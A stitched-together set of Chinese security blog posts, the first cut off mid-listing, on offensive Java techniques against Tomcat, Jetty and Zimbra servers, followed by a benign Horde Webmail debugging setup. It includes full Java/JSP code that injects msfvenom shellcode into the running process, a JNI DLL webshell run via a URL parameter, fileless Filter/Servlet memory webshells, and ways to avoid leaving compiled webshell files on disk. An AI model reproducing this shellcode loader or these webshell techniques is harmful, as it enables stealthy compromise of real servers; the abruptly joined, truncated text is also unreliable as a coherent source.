0x00 前言本文基於rebeyond的《Java内存攻击技术漫谈》 ,以Tomcat環境為例,介紹通過jsp加載Shellcode的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

依賴tools.jar加載Shellcode

自定義類加載Shellcode

0x02 依賴tools.jar加載Shellcode1.Java實現通過enqueue函數加載Shellcode,測試代碼:

importjava.lang.reflect.Method;

publicclassThreadMain{

publicstaticvoidmain(String[]args)throwsException{

System.loadLibrary('attach');

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

(byte)0xd0,(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x58,(byte)0x5e,(byte)0x59,(byte)0x5a,

(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x59,(byte)0x41,(byte)0x5a,(byte)0x48,(byte)0x83,

(byte)0xec,(byte)0x20,(byte)0x41,(byte)0x52,(byte)0xff,(byte)0xe0,(byte)0x58,(byte)0x41,

(byte)0x59,(byte)0x5a,(byte)0x48,(byte)0x8b,(byte)0x12,(byte)0xe9,(byte)0x57,(byte)0xff,

(byte)0xff,(byte)0xff,(byte)0x5d,(byte)0x48,(byte)0xba,(byte)0x01,(byte)0x00,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x8d,(byte)0x8d,

(byte)0x01,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x41,(byte)0xba,(byte)0x31,(byte)0x8b,

(byte)0x6f,(byte)0x87,(byte)0xff,(byte)0xd5,(byte)0xbb,(byte)0xf0,(byte)0xb5,(byte)0xa2,

(byte)0x56,(byte)0x41,(byte)0xba,(byte)0xa6,(byte)0x95,(byte)0xbd,(byte)0x9d,(byte)0xff,

(byte)0xd5,(byte)0x48,(byte)0x83,(byte)0xc4,(byte)0x28,(byte)0x3c,(byte)0x06,(byte)0x7c,

(byte)0x0a,(byte)0x80,(byte)0xfb,(byte)0xe0,(byte)0x75,(byte)0x05,(byte)0xbb,(byte)0x47,

(byte)0x13,(byte)0x72,(byte)0x6f,(byte)0x6a,(byte)0x00,(byte)0x59,(byte)0x41,(byte)0x89,

(byte)0xda,(byte)0xff,(byte)0xd5,(byte)0x63,(byte)0x61,(byte)0x6c,(byte)0x63,(byte)0x2e,

(byte)0x65,(byte)0x78,(byte)0x65,(byte)0x00

};

Stringcmd='load';StringpipeName='test';

m.setAccessible(true);

Objectresult=m.invoke(cls,newObject[]{hProcess,buf,cmd,pipeName,newObject[]{}});

System.out.println('result:'+result);

}

}

Thread.sleep(4000);

}

}注:

代碼修改自《Java内存攻击技术漫谈》

字節數組buf的生成方法:

msfvenom-pwindows/x64/execcmd=calc.exe-fjavalong hProcess=-1;表示注入當前Java進程

直接執行會報錯提示ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine,這裡需要添加引用tools.jar,默認位置為jdk \lib\tools.jar

2.jsp實現測試環境為Tomcat

將以上代碼改寫成jsp的格式,執行時同樣會報錯ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine

這裡可以改為使用URLClassLoader引用tools.jar

原代碼:

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');替換為:

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');完整的jsp代碼如下:

%@pageimport='java.lang.reflect.Method'%%@pageimport='java.net.URL'%%@pageimport='java.net.URLClassLoader'%%

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

//calc

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

0x00 前言Java可以通過JNI接口訪問本地的動態連接庫,從而擴展Java的功能。本文將以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

基礎知識

Java通過JNI加載dll的方法

jsp通過JNI加載dll的方法

0x02 基礎知識JNI,全稱Java Native Interface,是Java語言的本地編程接口。可以用來調用dll文件

調用JNI接口的步驟:

1、編寫Java代碼,註明要訪問的本地動態連接庫和本地方法

2、編譯Java代碼得到.class文件

3、使用javah生成該類對應的.h文件

4、使用C++實現函數功能,編譯生成dll

5、通過Java調用dll

0x03 Java通過JNI加載dll的方法本節將要實現通過Java加載dll,在命令行輸出'Hello World'

1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法HelloWorld.java:

image.png

注:

也可以使用System.load指定加載dll的絕對路徑,代碼示例:System.load('c:\\test\\Hello.dll');

上述代碼註明了要訪問本地的Hello.dll,調用本地方法print()

2.編譯Java代碼得到.class文件cmd命令:

image.png

命令執行後,生成文件HelloWorld.class

3.使用javah生成該類對應的.h文件cmd命令:

image.png

命令執行後,生成文件HelloWorld.h

為了簡化後續C++工程的配置,這裡需要修改HelloWorld.h,將#include

image.png

4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目Hello,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號

修改dllmain.cpp或者Hello.cpp均可,具體代碼如下:

image.png

項目需要引用以下三個文件:

jni.h,位置為%jdk%\include\jni.h

jni_md.h,位置為%jdk%\include\win32\jni_md.h

HelloWorld.h,使用javah生成

編譯生成dll

注:

測試環境為64位系統,所以選擇生成64位的Hello.dll

5.通過Java調用dll將Hello.dll和HelloWorld.class保存在同級目錄,執行命令:

image.png

獲得返回結果:

image.png

加載成功

0x04 jsp通過JNI加載dll的方法本節將要實現在Tomcat環境下,通過訪問jsp文件,執行cmd命令並獲得命令執行結果

1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法testtomcat_jsp.java:

image.png

Tomcat環境下,需要以下限制條件:

固定包名格式為org.apache.jsp

java文件名稱需要固定格式:***_jsp,並且後面的jsp文件名稱需要同其保持一致。例如testtomcat_jsp.java,那麼最終jsp的文件名稱需要命名為testtomcat.jsp

類名不需要限定為JniClass,可以任意

2.編譯Java代碼得到.class文件cmd命令:

image.png

命令執行後,生成文件testtomcat_jsp.class和testtomcat_jsp$JniClass.class

3.使用javah生成該類對應的.h文件將testtomcat_jsp$JniClass.class保存在\org\apache\jsp\下

cmd命令:

image.png

命令執行後,生成文件org_apache_jsp_testtomcat_jsp_JniClass.h

為了簡化後續C++工程的配置,這裡需要修改org_apache_jsp_testtomcat_jsp_JniClass.h,將#include

image.png

4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目TestTomcat,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號

修改dllmain.cpp或者TestTomcat.cpp均可,具體代碼如下:

image.png image.png

注:

代碼JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)需要和頭文件中的聲明保持一致

項目需要引用以下三個文件:

jni.h,位置為%jdk%\include\jni.h

jni_md.h,位置為%jdk%\include\win32\jni_md.h

org_apache_jsp_testtomcat_jsp_JniClass.h,使用javah生成

編譯生成dll

注:

測試環境為64位系統,所以選擇生成64位的TestTomcat.dll

5.通過jsp調用dll向Tomcat上傳TestTomcat.dll,在Web目錄創建testtomcat.jsp,內容如下:

image.png

注:

jsp文件名稱需要同之前的java文件保持一致

訪問URL:http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami

獲得命令執行結果,加載成功

0x05 小結本文以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節,能夠擴展jsp的功能。

0x00 前言在上篇文章介紹了Jetty Filter型內存馬的實現思路和細節,本文介紹Jetty Servlet型內存馬的實現思路和細節

0x01 簡介本文將要介紹以下內容:

實現思路

實現代碼

Zimbra環境下的Servlet型內存馬

0x02 實現思路同樣是使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬

0x03 實現代碼1.添加ServletJetty下可用的完整代碼如下:

1.png 2.png 3.png 4.png2.枚舉Servlet(1)通過request對象調用getServletRegistrations枚舉Servlet

Jetty下可用的完整代碼如下:

6.png

(2)通過Thread獲得webappclassloaer,通過反射讀取_servlets屬性來枚舉Servlet

Jetty下可用的完整代碼如下:

7.png 8.png

注:

該方法在Zimbra環境下會存在多個重複結果

0x04 Zimbra環境下的Servlet型內存馬Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Servlet時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可。

9.png當然,我們可以通過反射刪除內存馬對應的jsp實例,測試代碼如下:

10.png

無論是Filter型內存馬還是Servlet型內存馬,刪除內存馬對應的jsp實例不影響內存馬的正常使用

0x05 利用思路同Filter型內存馬一樣,Servlet型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x06 小結本文介紹了Jetty Servlet型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

0x00 前言關於Tomcat Filter型內存馬的介紹資料有很多,但是Jetty Filter型內存馬的資料很少,本文將要參照Tomcat Filter型內存馬的設計思路,介紹Jetty Filter型內存馬的實現思路和細節。

0x01 簡介本文將要介紹以下內容:

Jetty調試環境搭建

實現思路

實現代碼

Zimbra環境下的Filter型內存馬

0x02 Jetty調試環境搭建1.png

0x03 實現思路相關參考資料:

https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java

https://blog.csdn.net/xdeclearn/article/details/125969653

參考資料1是通過JmxMBeanServer獲得webappclassloaer,進而通過反射調用相關方法添加一個Filter

參考資料2是通過Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬的方法

我在實際測試過程中,發現通過JmxMBeanServer獲得webappclassloaer的方法不夠通用,尤其是無法在Zimbra環境下使用

因此,最終改為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬。

0x04 實現代碼1.添加FilterJetty下可用的完整代碼如下:

2.png 3.png 4.png 5.png 6.png

2.枚舉Filter 7.png 8.png(2)通過Thread獲得webappclassloaer,通過反射讀取_filters屬性來枚舉Filter

9.png0x05 Zimbra環境下的Filter型內存馬在Zimbra環境下,思路同樣為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬

但是由於Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Filter時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可

0x06 利用思路Filter型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x07 小結本文介紹了Jetty Filter型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

0x00 前言在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》 曾介紹了通過反射實現AntSword-JSP-Template的方法。對於AntSword-JSP-Template中的shell.jsp,訪問後會額外生成文件shell_jsp$U.class。《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法,訪問後會額外生成文件shell_jsp$1.class。

在某些特殊環境下,需要避免額外生成.class文件。本文將以Zimbra環境為例,介紹實現方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 實現思路

马云惹不起马云實現代碼

0x02 實現思路基於《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法,訪問後會額外生成文件shell_jsp$1.class,這裡可以通過構造器避免額外生成.class文件。

在具體使用過程中,需要注意如下問題:

(1)反射機制中的構造器正常調用的代碼:

image.png

通過反射實現的代碼:

image.png

(2)選擇合適的defineClass()方法在ClassLoader類中,defineClass()方法有多個重載,可以選擇一個可用的重載。

本文選擇defineClass(byte[] b, int off, int len)

(3)SecureClassLoader使用構造器時,應使用SecureClassLoader,而不是ClassLoader

示例代碼:

image.png

0x03 實現代碼為了方便比較,這裡給出每種實現方法的代碼:

(1)test1.jsp來自AntSword-JSP-Template中的shell.jsp,代碼如下:

image.png

保存在Zimbra的web目錄:/opt/zimbra/jetty_base/webapps/zimbra/

通過Web訪問後在目錄/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/生成以下文件:

马云惹不起马云_test1_jsp.java

马云惹不起马云_test1_jsp.class

马云惹不起马云_test1_jsp$U.class

(2)test2.jsp來自《Java利用技巧——通过反射实现webshell编译文件的自删除》 中通過反射實現AntSword-JSP-Template的方法,代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云 _test2_jsp.java

马云惹不起马云_test2_jsp.class

马云惹不起马云_test2_jsp$1.class

(3)test3.jsp基於test2.jsp,通過構造器實現,代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云_test3_jsp.java

马云惹不起马云 _test3_jsp.class

(4)test4.jsp基於test3.jsp,不使用base64Decode(),代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云 _test4_jsp.java

马云惹不起马云 _test4_jsp.class

在代碼實現上需要注意Java語言中數組必須先初始化,然後才可以使用。

0x04 小結本文分享了一種不額外生成.class文件的實現方法,對於開源的代碼test4.jsp,還可以應用到Java文件的編寫中。

0x00 前言本文記錄從零開始搭建Horde Groupware Webmail漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Horde Groupware Webmail安裝

Horde Groupware Webmail漏洞調試環境配置

常用知識

0x02 Horde Groupware Webmail安裝簡單來說,安裝Horde Groupware Webmail時需要配置以下環境:

MySQL數據庫

Apache2

php7.2

Dovecot

操作系統選擇Ubuntu18,這裡不能選擇Ubuntu16,因為Ubuntu16不支持php7.2

本文的安裝過程做了適當精簡,完整過程可根據參考資料進行學習,具體安裝過程如下:

1.安裝MariaDB Database Server(1)安裝

安裝命令:sudo apt-get -y install mariadb-server mariadb-client

(2)配置

配置命令:sudo mysql_secure_installation

配置如下:

1.png(3)創建數據庫

連接數據庫的命令:mysql -u root -p

執行以下命令:

2.png設置數據庫的用戶為hordeuser,口令為new_password_here

2.安裝php-horde-webmail安裝命令:sudo apt -y install php-horde-webmail

3.配置webmail安裝命令:

3.png

配置如下:

4.png

注:

這裡必須指定為/usr/share/horde,否則在運行webmail-install時報錯提示:failed to open stream: No such file or directory in /usr/bin/webmail-install on line 17

4.安裝安裝命令:webmail-install

配置如下:

5.png 6.png

5.訪問登錄頁面http://127.0.0.1/horde/login.php

這裡不能使用localhost,會報錯提示:

7.png

此時沒有配置郵箱用戶,無法進行登錄,需要安裝Dovecot

6.安裝Dovecot安裝命令:apt-get -y install dovecot-imapd dovecot-pop3d

默認horde webmail沒有配置郵箱用戶,可以使用Ubuntu系統的用戶進行登錄,成功,如下圖

8.png

補充1:安裝File_Fstab會出現bug安裝命令:pear install File_Fstab

安裝這個模塊之後,無法加載test頁面,報錯提示:

9.png

如下圖

10.png補充2:cpanel默認支持Horde Groupware Webmailcpanel的安裝可參考:https://docs.cpanel.net/installation-guide/system-requirements-centos/

cpanel下啟用Horde Groupware Webmail的方法如下:

(1)添加郵箱賬戶

進入WHM,登錄用戶名root,口令為root用戶的口令,選擇創建用戶,如下圖

11.png(2)選擇horde

使用新添加的賬戶登錄,選擇Email Accounts,配置成horde,如下圖

12.png

0x03 Horde Groupware Webmail漏洞調試環境配置這裡需要先在安裝Horde Groupware Webmail的Ubuntu18上添加xdebug,然後在本地安裝PhpStorm進行遠程調試

本地系統使用Windows,IP為192.168.112.131

安裝Horde Groupware Webmail的Ubuntu18 IP為192.168.112.168

流程如下:

1.安裝xdebug需要根據php版本選擇合適的xdebug,可選擇以下兩種篩選方法:

(1)命令行執行命令php -i

(2)瀏覽器訪問phpinfo頁面

echo '

訪問http://127.0.0.1/horde/phpinfo.php

將以上方法得到的輸出信息複製到https://xdebug.org/wizard,可以自動解析出對應的xdebug版本

根據提示進行安裝

輸出信息如下:

13.png

下載安裝xdebug:

14.png

配置xdebug:vi /etc/php/7.2/apache2/conf.d/99-xdebug.ini

配置代碼需要區分XDebug2和XDebug3,自PhpStorm 2020.3起,開始使用XDebug3,語法也做了更改,詳細說明:https://xdebug.org/docs/upgrade_guide#changed-xdebug.remote_enable

正確的參數:

15.png對應老的參數(失效):

16.png

重啟Apache服務:sudo systemctl restart apache2.service

可通過訪問phpinfo頁面確認xdebug是否配置成功

2.PhpStorm配置(1)安裝PhpStorm

(2)配置調試端口

打開PhpStorm,創建一個PHP Empty Project

依次打開File-Settings-PHP-Debug

確認調試端口為9000,如下圖

17.png

(3)配置DBGp Proxy

依次打開File-Settings-PHP-Debug-DBGp Proxy,填入以下信息:

18.png

如下圖

19.png

(4)配置Servers

依次打開File-Settings-PHP-Servers

手動添加一個,填入以下信息:

20.png

勾選Use path mappings,填入以下配置信息:

21.png如下圖

22.png3.下斷點將Ubuntu18的文件夾/usr/share/horde下載到本地,保存為c:\Users\1\PhpstormProjects\untitiled\horde

在PhpStorm打開需要調試的php文件並下斷點

4.開始調試(1)配置

依次打開Run-Edit Configurations

手動添加一個,選擇PHP Web Page,填入以下信息:

23.png(2)開啟監聽

依次打開Run-Start Listening for PHP Debug Connections

(3)開啟調試

依次打開Run-Debug

彈出Chrome瀏覽器,捕獲到斷點,如下圖

24.png

0x04 常用知識1.添加管理員用戶將用戶a設置為管理員用戶

25.png

修改:$conf['auth']['admins']=array();

設置為:$conf['auth']['admins']=array('a');

2.日誌位置26.png

0x05 小結在我們搭建好Horde Groupware Webmail漏洞調試環境後,接下來就可以著手對漏洞進行學習。

參考資料:

https://www.horde.org/apps/webmail/docs/INSTALL

https://github.com/horde/base/blob/master/doc/INSTALL.rst

https://geekrewind.com/install-horde-groupware-webmail-on-ubuntu-16-04-18-04-with-apache2/

https://neoserver.site/help/step-step-installation-instructions-postfix-and-dovecot-ubuntu